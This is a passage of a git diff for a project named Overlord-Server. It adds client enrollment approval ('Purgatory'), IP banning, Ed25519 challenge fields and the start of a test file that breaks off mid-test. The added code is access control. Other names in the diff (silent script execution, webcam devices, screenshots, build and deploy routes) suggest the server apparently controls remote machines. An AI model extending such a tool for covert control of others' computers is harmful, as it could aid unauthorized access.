+  clearTimeout(searchDebounce);
+  searchDebounce = setTimeout(() => {
+    searchQuery = searchInput.value;
+    loadClients();
+  }, 250);
+});
+
+// ── Ban confirmation modal ──────────────────────────────────────────
+let banModalResolve = null;
+
+function showBanModal(message, ips, onConfirm) {
+  let html = `<p class="mb-3">${message}</p>`;
+  if (ips && ips.length > 0 && ips.length <= 10) {
+    html += `<div class="bg-slate-800/60 border border-slate-700 rounded-lg p-3 font-mono text-xs text-rose-300 space-y-1">`;
+    for (const ip of ips) html += `<div>${esc(ip)}</div>`;
+    html += `</div>`;
+  }
+  banModalBody.innerHTML = html;
+  banModal.classList.remove("hidden");
+  banModalResolve = onConfirm;
+}
+
+function closeBanModal() {
+  banModal.classList.add("hidden");
+  banModalResolve = null;
+}
+
+banModalConfirm.addEventListener("click", async () => {
+  const fn = banModalResolve;
+  closeBanModal();
+  if (fn) await fn();
+});
+banModalCancel.addEventListener("click", closeBanModal);
+banModalBackdrop.addEventListener("click", closeBanModal);
+
+// ── Banned IPs ─────────────────────────────────────────────────────
+async function banClientIp(clientId) {
+  const client = clients.find((c) => c.id === clientId);
+  const ipText = client?.ip ? ` (${client.ip})` : "";
+  showBanModal(
+    `You are about to <strong>ban the IP address</strong> of client <strong>${esc(client?.host || clientId)}</strong>${esc(ipText)}. This will block all connections from this IP.`,
+    client?.ip ? [client.ip] : [],
+    async () => {
+      try {
+        await api(`/api/enrollment/${encodeURIComponent(clientId)}/ban-ip`, { method: "POST" });
+        if (window.showToast) window.showToast("IP banned", "success");
+      } catch (e) {
+        if (window.showToast) window.showToast(`Failed: ${e.message}`, "error");
+      }
+      await Promise.all([loadClients(), loadStats()]);
+    },
+  );
+}
+
+async function loadBannedIps() {
+  bannedIpsBody.innerHTML = "";
+  bannedIpsEmpty.classList.add("hidden");
+
+  try {
+    const data = await api("/api/enrollment/banned-ips");
+    const items = data.items || [];
+
+    if (items.length === 0) {
+      bannedIpsEmpty.classList.remove("hidden");
+      return;
+    }
+
+    for (const entry of items) {
+      const tr = document.createElement("tr");
+      tr.className = "hover:bg-slate-800/40 transition-colors";
+      tr.innerHTML = `
+        <td class="px-4 py-3 text-sm font-mono text-slate-200">${esc(entry.ip)}</td>
+        <td class="px-4 py-3 text-sm text-slate-400">${esc(entry.reason || "-")}</td>
+        <td class="px-4 py-3 text-sm text-slate-500">${entry.createdAt ? timeAgo(entry.createdAt) : "-"}</td>
+        <td class="px-4 py-3 text-right">
+          <button class="act-unban px-2 py-1 rounded text-xs font-medium bg-slate-600 hover:bg-slate-700 text-white" data-ip="${esc(entry.ip)}">
+            <i class="fa-solid fa-unlock mr-1"></i>Unban
+          </button>
+        </td>
+      `;
+      bannedIpsBody.appendChild(tr);
+    }
+  } catch {
+    bannedIpsEmpty.classList.remove("hidden");
+  }
+}
+
+bannedIpsBody.addEventListener("click", async (e) => {
+  const btn = e.target.closest("button");
+  if (!btn) return;
+  if (btn.classList.contains("act-unban")) {
+    const ip = btn.dataset.ip;
+    if (!ip) return;
+    try {
+      await api(`/api/enrollment/banned-ips?ip=${encodeURIComponent(ip)}`, { method: "DELETE" });
+      if (window.showToast) window.showToast(`Unbanned ${ip}`, "success");
+    } catch (e) {
+      if (window.showToast) window.showToast(`Failed: ${e.message}`, "error");
+    }
+    await Promise.all([loadBannedIps(), loadStats()]);
+  }
+});
+
+// ── Manual IP ban form ─────────────────────────────────────────────
+addBanBtn.addEventListener("click", () => {
+  manualBanForm.classList.toggle("hidden");
+  banIpInput.value = "";
+  banReasonInput.value = "";
+  if (!manualBanForm.classList.contains("hidden")) banIpInput.focus();
+});
+
+cancelBanBtn.addEventListener("click", () => {
+  manualBanForm.classList.add("hidden");
+});
+
+confirmBanBtn.addEventListener("click", async () => {
+  const ip = banIpInput.value.trim();
+  if (!ip) { banIpInput.focus(); return; }
+  try {
+    await api("/api/enrollment/ban-ip", {
+      method: "POST",
+      headers: { "Content-Type": "application/json" },
+      body: JSON.stringify({ ip, reason: banReasonInput.value.trim() || undefined }),
+    });
+    if (window.showToast) window.showToast(`Banned ${ip}`, "success");
+    manualBanForm.classList.add("hidden");
+  } catch (e) {
+    if (window.showToast) window.showToast(`Failed: ${e.message}`, "error");
+  }
+  await Promise.all([loadBannedIps(), loadStats()]);
+});
+
+// ── Init ───────────────────────────────────────────────────────────
+loadSettings();
+loadStats();
+loadClients();
+
+// Auto-refresh every 15 seconds
+setInterval(() => {
+  loadStats();
+  loadClients();
+}, 15000);
diff --git a/Overlord-Server/public/purgatory.html b/Overlord-Server/public/purgatory.html
new file mode 100644
index 0000000..92d8fa0
--- /dev/null
+++ b/Overlord-Server/public/purgatory.html
@@ -0,0 +1,218 @@
+<!doctype html>
+<html lang="en" class="h-full">
+  <head>
+    <meta charset="UTF-8" />
+    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
+    <title>Purgatory - Overlord</title>
+    <link rel="icon" type="image/x-icon" href="/assets/favicon.ico" />
+    <link rel="stylesheet" href="/assets/tailwind.css" />
+    <link
+      rel="stylesheet"
+      href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"
+      crossorigin="anonymous"
+      referrerpolicy="no-referrer"
+    />
+    <link rel="stylesheet" href="/assets/main.css" />
+    <script src="/assets/toast.js"></script>
+  </head>
+  <body class="min-h-screen bg-slate-950 text-slate-100">
+    <header id="top-nav"></header>
+
+    <div class="min-h-full flex flex-col">
+      <main class="flex-1 max-w-7xl w-full mx-auto px-4 py-8">
+        <!-- Header -->
+        <div class="mb-6 flex flex-col sm:flex-row sm:items-center sm:justify-between gap-4">
+          <div>
+            <h2 class="text-2xl font-bold text-slate-100 mb-1">
+              <i class="fa-solid fa-user-clock text-amber-400 mr-2"></i>Purgatory
+            </h2>
+            <p class="text-slate-400 text-sm">
+              Approve or deny clients before they can connect to the server.
+            </p>
+          </div>
+          <div class="flex items-center gap-4">
+            <div id="stats-bar" class="flex items-center gap-3 text-sm">
+              <span class="text-amber-400"><i class="fa-solid fa-clock mr-1"></i><span id="stat-pending">0</span> pending</span>
+              <span class="text-emerald-400"><i class="fa-solid fa-check mr-1"></i><span id="stat-approved">0</span> approved</span>
+              <span class="text-red-400"><i class="fa-solid fa-ban mr-1"></i><span id="stat-denied">0</span> denied</span>
+              <span class="text-rose-400"><i class="fa-solid fa-shield-halved mr-1"></i><span id="stat-banned-ips">0</span> banned IPs</span>
+            </div>
+          </div>
+        </div>
+
+        <!-- Settings Card -->
+        <div class="mb-6 bg-slate-900/60 border border-slate-800 rounded-xl p-5">
+          <div class="flex items-center justify-between">
+            <div>
+              <h3 class="font-semibold text-slate-100">Approval Mode</h3>
+              <p class="text-sm text-slate-400">
+                When enabled, new clients must be approved before connecting.
+                When disabled, clients auto-approve on first connection.
+              </p>
+            </div>
+            <label class="relative inline-flex items-center cursor-pointer">
+              <input type="checkbox" id="require-approval-toggle" class="sr-only peer" />
+              <div class="w-11 h-6 bg-slate-700 peer-focus:ring-2 peer-focus:ring-sky-500 rounded-full peer peer-checked:after:translate-x-full peer-checked:after:border-white after:content-[''] after:absolute after:top-[2px] after:left-[2px] after:bg-white after:border-slate-300 after:border after:rounded-full after:h-5 after:w-5 after:transition-all peer-checked:bg-amber-500"></div>
+            </label>
+          </div>
+        </div>
+
+        <!-- Filter Tabs -->
+        <div class="mb-4 flex items-center gap-2 flex-wrap">
+          <button data-filter="pending"
+            class="enrollment-tab px-4 py-2 rounded-lg text-sm font-medium bg-amber-500/20 text-amber-300 border border-amber-500/40">
+            Pending
+          </button>
+          <button data-filter="denied"
+            class="enrollment-tab px-4 py-2 rounded-lg text-sm font-medium bg-slate-800 text-slate-400 border border-slate-700 hover:bg-slate-700">
+            Denied
+          </button>
+          <button data-filter="approved"
+            class="enrollment-tab px-4 py-2 rounded-lg text-sm font-medium bg-slate-800 text-slate-400 border border-slate-700 hover:bg-slate-700">
+            Approved
+          </button>
+          <button data-filter="banned-ips"
+            class="enrollment-tab px-4 py-2 rounded-lg text-sm font-medium bg-slate-800 text-slate-400 border border-slate-700 hover:bg-slate-700">
+            <i class="fa-solid fa-shield-halved mr-1"></i>Banned IPs
+          </button>
+          <div class="flex-1"></div>
+          <div class="relative">
+            <i class="fa-solid fa-search absolute left-3 top-1/2 -translate-y-1/2 text-slate-500 text-sm pointer-events-none"></i>
+            <input type="text" id="search-input" placeholder="Search host, user, IP..."
+              class="w-56 pl-9 pr-3 py-2 rounded-lg text-sm bg-slate-800 border border-slate-700 text-slate-200 placeholder-slate-500 focus:outline-none focus:ring-2 focus:ring-sky-500 focus:border-transparent" />
+          </div>
+          <button id="bulk-approve-btn"
+            class="hidden px-3 py-2 rounded-lg text-sm font-medium bg-emerald-600 hover:bg-emerald-700 text-white transition-colors">
+            <i class="fa-solid fa-check mr-1"></i>Approve Selected
+          </button>
+          <button id="bulk-deny-btn"
+            class="hidden px-3 py-2 rounded-lg text-sm font-medium bg-red-600 hover:bg-red-700 text-white transition-colors">
+            <i class="fa-solid fa-ban mr-1"></i>Deny Selected
+          </button>
+          <button id="bulk-ban-btn"
+            class="hidden px-3 py-2 rounded-lg text-sm font-medium bg-rose-700 hover:bg-rose-800 text-white transition-colors">
+            <i class="fa-solid fa-shield-halved mr-1"></i>Ban Selected IPs
+          </button>
+        </div>
+
+        <!-- Clients Table -->
+        <div class="bg-slate-900/50 border border-slate-800 rounded-xl overflow-hidden">
+          <table class="w-full" id="enrollment-table">
+            <thead class="bg-slate-800/50 border-b border-slate-700">
+              <tr>
+                <th class="w-10 px-4 py-3">
+                  <input type="checkbox" id="select-all" class="h-4 w-4 rounded border-slate-600" />
+                </th>
+                <th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">Host</th>
+                <th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">User</th>
+                <th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">OS</th>
+                <th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">IP</th>
+                <th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">Country</th>
+                <th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">Key Fingerprint</th>
+                <th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">Last Seen</th>
+                <th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">Status</th>
+                <th class="text-right px-4 py-3 text-sm font-semibold text-slate-300">Actions</th>
+              </tr>
+            </thead>
+            <tbody id="enrollment-body" class="divide-y divide-slate-800">
+              <tr id="enrollment-loading">
+                <td colspan="10" class="px-6 py-12 text-center text-slate-500">
+                  <i class="fa-solid fa-spinner fa-spin mr-2"></i>Loading...
+                </td>
+              </tr>
+            </tbody>
+          </table>
+          <div id="enrollment-empty" class="hidden px-6 py-12 text-center text-slate-500">
+            <i class="fa-solid fa-inbox text-3xl mb-3 block"></i>
+            <p>No clients in this category.</p>
+          </div>
+        </div>
+
+        <!-- Banned IPs Table (hidden by default, shown on Banned IPs tab) -->
+        <div id="banned-ips-section" class="hidden">
+          <div class="mb-4 flex items-center justify-between">
+            <h3 class="text-lg font-semibold text-slate-100">
+              <i class="fa-solid fa-shield-halved text-rose-400 mr-2"></i>Banned IPs
+            </h3>
+            <button id="add-ban-btn"
+              class="px-3 py-2 rounded-lg text-sm font-medium bg-red-600 hover:bg-red-700 text-white transition-colors">
+              <i class="fa-solid fa-plus mr-1"></i>Ban IP
+            </button>
+          </div>
+          <!-- Manual ban form (hidden by default) -->
+          <div id="manual-ban-form" class="hidden mb-4 bg-slate-900/60 border border-slate-800 rounded-xl p-4">
+            <div class="flex items-end gap-3">
+              <div class="flex-1">
+                <label class="block text-sm font-medium text-slate-300 mb-1">IP Address</label>
+                <input type="text" id="ban-ip-input" placeholder="e.g. 192.168.1.100"
+                  class="w-full px-3 py-2 rounded-lg text-sm bg-slate-800 border border-slate-700 text-slate-200 placeholder-slate-500 focus:outline-none focus:ring-2 focus:ring-red-500 focus:border-transparent" />
+              </div>
+              <div class="flex-1">
+                <label class="block text-sm font-medium text-slate-300 mb-1">Reason (optional)</label>
+                <input type="text" id="ban-reason-input" placeholder="Reason for ban"
+                  class="w-full px-3 py-2 rounded-lg text-sm bg-slate-800 border border-slate-700 text-slate-200 placeholder-slate-500 focus:outline-none focus:ring-2 focus:ring-red-500 focus:border-transparent" />
+              </div>
+              <button id="confirm-ban-btn"
+                class="px-4 py-2 rounded-lg text-sm font-medium bg-red-600 hover:bg-red-700 text-white transition-colors">
+                Ban
+              </button>
+              <button id="cancel-ban-btn"
+                class="px-4 py-2 rounded-lg text-sm font-medium bg-slate-700 hover:bg-slate-600 text-white transition-colors">
+                Cancel
+              </button>
+            </div>
+          </div>
+          <div class="bg-slate-900/50 border border-slate-800 rounded-xl overflow-hidden">
+            <table class="w-full">
+              <thead class="bg-slate-800/50 border-b border-slate-700">
+                <tr>
+                  <th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">IP Address</th>
+                  <th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">Reason</th>
+                  <th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">Banned At</th>
+                  <th class="text-right px-4 py-3 text-sm font-semibold text-slate-300">Actions</th>
+                </tr>
+              </thead>
+              <tbody id="banned-ips-body" class="divide-y divide-slate-800"></tbody>
+            </table>
+            <div id="banned-ips-empty" class="hidden px-6 py-12 text-center text-slate-500">
+              <i class="fa-solid fa-shield-halved text-3xl mb-3 block"></i>
+              <p>No banned IPs.</p>
+            </div>
+          </div>
+        </div>
+      </main>
+    </div>
+
+    <!-- Ban Confirmation Modal -->
+    <div id="ban-confirm-modal" class="hidden fixed inset-0 z-50 flex items-center justify-center">
+      <div class="absolute inset-0 bg-black/60 backdrop-blur-sm" id="ban-modal-backdrop"></div>
+      <div class="relative bg-slate-900 border border-slate-700 rounded-2xl shadow-2xl max-w-md w-full mx-4 p-6">
+        <div class="flex items-center gap-3 mb-4">
+          <div class="flex-shrink-0 w-12 h-12 rounded-full bg-rose-500/20 flex items-center justify-center">
+            <i class="fa-solid fa-shield-halved text-rose-400 text-xl"></i>
+          </div>
+          <div>
+            <h3 class="text-lg font-bold text-slate-100">Confirm IP Ban</h3>
+            <p class="text-sm text-slate-400">This action cannot be easily undone.</p>
+          </div>
+        </div>
+        <div id="ban-modal-body" class="mb-5 text-sm text-slate-300">
+          <!-- Filled dynamically -->
+        </div>
+        <div class="flex items-center justify-end gap-3">
+          <button id="ban-modal-cancel"
+            class="px-4 py-2 rounded-lg text-sm font-medium bg-slate-700 hover:bg-slate-600 text-white transition-colors">
+            Cancel
+          </button>
+          <button id="ban-modal-confirm"
+            class="px-4 py-2 rounded-lg text-sm font-medium bg-rose-600 hover:bg-rose-700 text-white transition-colors">
+            <i class="fa-solid fa-shield-halved mr-1"></i>Ban
+          </button>
+        </div>
+      </div>
+    </div>
+
+    <script type="module" src="/assets/nav.js"></script>
+    <script type="module" src="/assets/purgatory-ui.js"></script>
+  </body>
+</html>
diff --git a/Overlord-Server/src/auditLog.ts b/Overlord-Server/src/auditLog.ts
index a2bee8e..d7c5dec 100644
--- a/Overlord-Server/src/auditLog.ts
+++ b/Overlord-Server/src/auditLog.ts
@@ -72,6 +72,10 @@ export enum AuditAction {
   AGENT_UPDATE = "agent_update",
   SCRIPT_EXECUTE = "script_execute",
   SILENT_EXECUTE = "silent_execute",
+  ENROLLMENT_APPROVE = "enrollment_approve",
+  ENROLLMENT_DENY = "enrollment_deny",
+  ENROLLMENT_SETTINGS = "enrollment_settings",
+  ENROLLMENT_BULK = "enrollment_bulk",
 }
 
 export interface AuditLogEntry {
diff --git a/Overlord-Server/src/config.ts b/Overlord-Server/src/config.ts
index 0443409..91b34c7 100644
--- a/Overlord-Server/src/config.ts
+++ b/Overlord-Server/src/config.ts
@@ -52,6 +52,9 @@ export interface Config {
     passwordRequireNumber: boolean;
     passwordRequireSymbol: boolean;
   };
+  enrollment: {
+    requireApproval: boolean;
+  };
 }
 
 const DEFAULT_CONFIG: Config = {
@@ -102,6 +105,9 @@ const DEFAULT_CONFIG: Config = {
     passwordRequireNumber: false,
     passwordRequireSymbol: false,
   },
+  enrollment: {
+    requireApproval: true,
+  },
 };
 
 type SaveSecrets = {
@@ -411,6 +417,12 @@ export function loadConfig(): Config {
         fileConfig.security?.passwordRequireSymbol ||
         DEFAULT_CONFIG.security.passwordRequireSymbol,
     },
+    enrollment: {
+      requireApproval:
+        process.env.OVERLORD_ENROLLMENT_REQUIRE_APPROVAL !== undefined
+          ? String(process.env.OVERLORD_ENROLLMENT_REQUIRE_APPROVAL).toLowerCase() === "true"
+          : (fileConfig.enrollment?.requireApproval ?? DEFAULT_CONFIG.enrollment.requireApproval),
+    },
   };
 
   if (saveChanged) {
@@ -513,6 +525,27 @@ export async function updateSecurityConfig(
   return next;
 }
 
+export async function updateEnrollmentConfig(
+  updates: Partial<Config["enrollment"]>,
+): Promise<Config["enrollment"]> {
+  const current = getConfig();
+  const next = {
+    ...current.enrollment,
+    ...updates,
+    requireApproval: updates.requireApproval !== undefined ? Boolean(updates.requireApproval) : current.enrollment.requireApproval,
+  };
+
+  configCache = {
+    ...current,
+    enrollment: next,
+  };
+
+  const fileConfig = readFileConfigForUpdate();
+  fileConfig.enrollment = next;
+  await writePersistentFileConfig(fileConfig);
+  return next;
+}
+
 export async function updateTlsConfig(
   updates: Partial<Config["tls"]>,
 ): Promise<Config["tls"]> {
diff --git a/Overlord-Server/src/db.ts b/Overlord-Server/src/db.ts
index 6d6a1ff..4ad090b 100644
--- a/Overlord-Server/src/db.ts
+++ b/Overlord-Server/src/db.ts
@@ -52,6 +52,30 @@ try {
 try {
   db.run(`ALTER TABLE clients ADD COLUMN bookmarked INTEGER NOT NULL DEFAULT 0`);
 } catch {}
+try {
+  db.run(`ALTER TABLE clients ADD COLUMN enrollment_status TEXT NOT NULL DEFAULT 'pending'`);
+} catch {}
+try {
+  db.run(`ALTER TABLE clients ADD COLUMN public_key TEXT`);
+} catch {}
+try {
+  db.run(`ALTER TABLE clients ADD COLUMN key_fingerprint TEXT`);
+} catch {}
+try {
+  db.run(`ALTER TABLE clients ADD COLUMN enrolled_at INTEGER`);
+} catch {}
+try {
+  db.run(`ALTER TABLE clients ADD COLUMN enrolled_by TEXT`);
+} catch {}
+db.run(
+  `CREATE INDEX IF NOT EXISTS idx_clients_public_key ON clients(public_key);`,
+);
+db.run(
+  `CREATE INDEX IF NOT EXISTS idx_clients_key_fingerprint ON clients(key_fingerprint);`,
+);
+db.run(
+  `CREATE INDEX IF NOT EXISTS idx_clients_enrollment_status ON clients(enrollment_status);`,
+);
 db.run(
   `CREATE INDEX IF NOT EXISTS idx_clients_online_last_seen ON clients(online, last_seen DESC);`,
 );
@@ -148,8 +172,8 @@ export function upsertClientRow(
 ) {
   const now = partial.lastSeen ?? Date.now();
   db.run(
-    `INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms)
-     VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
+    `INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms, enrollment_status, public_key, key_fingerprint)
+     VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
      ON CONFLICT(id) DO UPDATE SET
        hwid=COALESCE(excluded.hwid, clients.hwid),
        role=COALESCE(excluded.role, clients.role),
@@ -166,7 +190,9 @@ export function upsertClientRow(
        country=COALESCE(excluded.country, clients.country),
        last_seen=excluded.last_seen,
        online=COALESCE(excluded.online, clients.online),
-       ping_ms=COALESCE(excluded.ping_ms, clients.ping_ms)
+       ping_ms=COALESCE(excluded.ping_ms, clients.ping_ms),
+       public_key=COALESCE(excluded.public_key, clients.public_key),
+       key_fingerprint=COALESCE(excluded.key_fingerprint, clients.key_fingerprint)
     `,
     partial.id,
     partial.hwid ?? partial.id,
@@ -185,6 +211,9 @@ export function upsertClientRow(
     now,
     partial.online ?? 0,
     partial.pingMs ?? null,
+    partial.enrollmentStatus ?? "pending",
+    partial.publicKey ?? null,
+    partial.keyFingerprint ?? null,
   );
 
   if (partial.hwid) {
@@ -302,6 +331,7 @@ export function listClients(filters: ListFilters): ListResult {
     statusFilter,
     osFilter,
     countryFilter,
+    enrollmentFilter,
     allowedClientIds,
     deniedClientIds,
   } = filters;
@@ -322,6 +352,11 @@ export function listClients(filters: ListFilters): ListResult {
     where.push("online=0");
   }
 
+  if (enrollmentFilter && enrollmentFilter !== "all") {
+    where.push("enrollment_status=?");
+    params.push(enrollmentFilter);
+  }
+
   if (osFilter && osFilter !== "all") {
     where.push("os=?");
     params.push(osFilter);
@@ -382,7 +417,7 @@ export function listClients(filters: ListFilters): ListResult {
 
   const rows = db
     .query<any>(
-      `SELECT id, hwid, role, host, os, arch, version, user, nickname, custom_tag as customTag, custom_tag_note as customTagNote, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs, bookmarked
+      `SELECT id, hwid, role, host, os, arch, version, user, nickname, custom_tag as customTag, custom_tag_note as customTagNote, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs, bookmarked, enrollment_status as enrollmentStatus, public_key as publicKey, key_fingerprint as keyFingerprint
        FROM clients
        ${whereSql}
        ${orderBy}
@@ -408,6 +443,9 @@ export function listClients(filters: ListFilters): ListResult {
     pingMs: c.pingMs ?? null,
     online: c.online === 1,
     bookmarked: c.bookmarked === 1,
+    enrollmentStatus: c.enrollmentStatus || "pending",
+    publicKey: c.publicKey || null,
+    keyFingerprint: c.keyFingerprint || null,
     thumbnail: getThumbnail(c.id),
   }));
 
@@ -803,3 +841,88 @@ export function clearNotificationScreenshots() {
   db.run(`DELETE FROM notification_screenshots`);
   console.log("[db] cleared notification screenshots");
 }
+
+export function getClientEnrollmentStatus(id: string): string | null {
+  const row = db
+    .query<{ enrollment_status: string }>(
+      `SELECT enrollment_status FROM clients WHERE id=?`,
+    )
+    .get(id);
+  return row?.enrollment_status ?? null;
+}
+
+export function setClientEnrollmentStatus(
+  id: string,
+  status: "approved" | "denied" | "pending",
+  approvedBy?: string,
+): boolean {
+  const result = db.run(
+    `UPDATE clients SET enrollment_status=?, enrolled_at=?, enrolled_by=? WHERE id=?`,
+    status,
+    status === "approved" ? Date.now() : null,
+    status === "approved" ? (approvedBy ?? null) : null,
+    id,
+  );
+  return ((result as any)?.changes || 0) > 0;
+}
+
+export function lookupClientByPublicKey(
+  publicKey: string,
+): { id: string; enrollmentStatus: string } | null {
+  const row = db
+    .query<{ id: string; enrollment_status: string }>(
+      `SELECT id, enrollment_status FROM clients WHERE public_key=? LIMIT 1`,
+    )
+    .get(publicKey);
+  if (!row) return null;
+  return { id: row.id, enrollmentStatus: row.enrollment_status };
+}
+
+export function getEnrollmentStats(): {
+  pending: number;
+  approved: number;
+  denied: number;
+} {
+  const rows = db
+    .query<{ status: string; c: number }>(
+      `SELECT COALESCE(enrollment_status,'pending') as status, COUNT(*) as c FROM clients GROUP BY enrollment_status`,
+    )
+    .all();
+  const stats = { pending: 0, approved: 0, denied: 0 };
+  for (const r of rows) {
+    if (r.status === "approved") stats.approved = Number(r.c);
+    else if (r.status === "denied") stats.denied = Number(r.c);
+    else stats.pending = Number(r.c);
+  }
+  return stats;
+}
+
+export function getPendingClients(): {
+  id: string;
+  host: string | null;
+  os: string | null;
+  user: string | null;
+  ip: string | null;
+  country: string | null;
+  publicKey: string | null;
+  keyFingerprint: string | null;
+  lastSeen: number;
+}[] {
+  return db
+    .query<any>(
+      `SELECT id, host, os, user, ip, country, public_key as publicKey, key_fingerprint as keyFingerprint, last_seen as lastSeen
+       FROM clients WHERE enrollment_status='pending' ORDER BY last_seen DESC`,
+    )
+    .all()
+    .map((r: any) => ({
+      id: r.id,
+      host: r.host,
+      os: r.os,
+      user: r.user,
+      ip: r.ip,
+      country: r.country,
+      publicKey: r.publicKey,
+      keyFingerprint: r.keyFingerprint,
+      lastSeen: Number(r.lastSeen) || 0,
+    }));
+}
diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts
index c4b572c..01c4976 100644
--- a/Overlord-Server/src/main-server.ts
+++ b/Overlord-Server/src/main-server.ts
@@ -17,6 +17,7 @@ import { metrics } from "./metrics";
 import { ensureDataDir } from "./paths";
 import { handleAuthRoutes } from "./server/routes/auth-routes";
 import { handleAutoScriptsRoutes } from "./server/routes/auto-scripts-routes";
+import { handleEnrollmentRoutes } from "./server/routes/enrollment-routes";
 import { handleBuildRoutes } from "./server/routes/build-routes";
 import { handleAssetsRoutes } from "./server/routes/assets-routes";
 import { handleDeployRoutes } from "./server/routes/deploy-routes";
@@ -482,6 +483,7 @@ async function startServer() {
       handleAuthRoutes,
       handleNotificationsConfigRoutes,
       handleAutoScriptsRoutes,
+      handleEnrollmentRoutes,
       handleUsersRoutes,
       handleBuildRoutes,
       handleDeployRoutes,
diff --git a/Overlord-Server/src/protocol.ts b/Overlord-Server/src/protocol.ts
index 16f7b5f..b0e1103 100644
--- a/Overlord-Server/src/protocol.ts
+++ b/Overlord-Server/src/protocol.ts
@@ -13,7 +13,9 @@ export type MessageKind =
   | "plugin_event"
   | "notification"
   | "webcam_devices"
-  | "notification_config";
+  | "notification_config"
+  | "enrollment_challenge"
+  | "enrollment_status";
 
 export type Hello = {
   type: "hello";
@@ -26,6 +28,18 @@ export type Hello = {
   monitors: number;
   monitorInfo?: { width: number; height: number }[];
   country?: string;
+  publicKey?: string;
+  signature?: string;
+};
+
+export type EnrollmentChallenge = {
+  type: "enrollment_challenge";
+  nonce: string;
+};
+
+export type EnrollmentStatusMsg = {
+  type: "enrollment_status";
+  status: "pending" | "approved" | "denied";
 };
 
 export type HelloAck = {
@@ -296,7 +310,9 @@ export type WireMessage =
   | ScriptResult
   | PluginEvent
   | NotificationEvent
-  | NotificationConfig;
+  | NotificationConfig
+  | EnrollmentChallenge
+  | EnrollmentStatusMsg;
 
 export function encodeMessage(msg: WireMessage): Uint8Array {
   return encode(msg);
diff --git a/Overlord-Server/src/purgatory.test.ts b/Overlord-Server/src/purgatory.test.ts
new file mode 100644
index 0000000..533cbc2
--- /dev/null
+++ b/Overlord-Server/src/purgatory.test.ts
@@ -0,0 +1,551 @@
+import { describe, expect, test, beforeEach } from "bun:test";
+import { encodeMessage, decodeMessage, type Hello, type EnrollmentChallenge, type EnrollmentStatusMsg } from "./protocol";
+
+
+async function generateKeypair() {
+  const kp = await crypto.subtle.generateKey("Ed25519", true, ["sign", "verify"]);
+  const pubRaw = await crypto.subtle.exportKey("raw", kp.publicKey);
+  const privRaw = await crypto.subtle.exportKey("pkcs8", kp.privateKey);
+  return {
+    publicKey: kp.publicKey,
+    privateKey: kp.privateKey,
+    publicKeyBase64: Buffer.from(pubRaw).toString("base64"),
+    publicKeyBytes: new Uint8Array(pubRaw),
+  };
+}
+
+async function sign(privateKey: CryptoKey, data: Uint8Array): Promise<string> {
+  const sig = await crypto.subtle.sign("Ed25519", privateKey, data);
+  return Buffer.from(sig).toString("base64");
+}
+
+async function verifyEd25519(publicKeyBase64: string, signatureBase64: string, nonceBase64: string): Promise<boolean> {
+  try {
+    const pubKeyBytes = Buffer.from(publicKeyBase64, "base64");
+    const sigBytes = Buffer.from(signatureBase64, "base64");
+    const nonceBytes = Buffer.from(nonceBase64, "base64");
+    if (pubKeyBytes.length !== 32 || sigBytes.length !== 64) return false;
+    const key = await crypto.subtle.importKey("raw", pubKeyBytes, { name: "Ed25519" }, false, ["verify"]);
+    return await crypto.subtle.verify("Ed25519", key, sigBytes, nonceBytes);
+  } catch {
+    return false;
+  }
+}
+
+function computeKeyFingerprint(publicKeyBase64: string): string {
+  const bytes = Buffer.from(publicKeyBase64, "base64");
+  return new Bun.CryptoHasher("sha256").update(bytes).digest("hex");
+}
+
+function createMockWs(overrides: Partial<{ clientId: string; role: string; ip: string; enrollmentNonce: string }> = {}) {
+  const sent: Uint8Array[] = [];
+  let closedCode: number | null = null;
+  let closedReason: string | null = null;
+  return {
+    data: {
+      clientId: overrides.clientId ?? "test-client-1",
+      role: overrides.role ?? "client",
+      ip: overrides.ip ?? "127.0.0.1",
+      enrollmentNonce: overrides.enrollmentNonce ?? undefined,
+      sessionId: "sess-1",
+    },
+    sent,
+    closedCode,
+    closedReason,
+    send(msg: Uint8Array) { sent.push(msg); },
+    close(code: number, reason: string) { this.closedCode = code; this.closedReason = reason; },
+    decodeSent(index: number) { return decodeMessage(sent[index]) as any; },
+  };
+}
+
+// tests (AI)
+
+describe("purgatory — Ed25519 signature verification", () => {
+  test("valid signature from matching keypair passes", async () => {
+    const kp = await generateKeypair();
+    const nonce = new Uint8Array(32);
+    crypto.getRandomValues(nonce);
+    const nonceB64 = Buffer.from(nonce).toString("base64");
+    const sigB64 = await sign(kp.privateKey, nonce);
+
+    expect(await verifyEd25519(kp.publicKeyBase64, sigB64, nonceB64)).toBe(true);
+  });
+
+  test("signature from wrong keypair is rejected", async () => {
+    const kp1 = await generateKeypair();
+    const kp2 = await generateKeypair();
+    const nonce = new Uint8Array(32);
+    crypto.getRandomValues(nonce);
+    const nonceB64 = Buffer.from(nonce).toString("base64");
+    // Sign with kp1 but verify with kp2's public key
+    const sigB64 = await sign(kp1.privateKey, nonce);
+
+    expect(await verifyEd25519(kp2.publicKeyBase64, sigB64, nonceB64)).toBe(false);
+  });
+
+  test("signature over wrong nonce is rejected", async () => {
+    const kp = await generateKeypair();
+    const nonce1 = new Uint8Array(32);
+    const nonce2 = new Uint8Array(32);
+    crypto.getRandomValues(nonce1);
+    crypto.getRandomValues(nonce2);
+    // Sign nonce1 but try to verify against nonce2
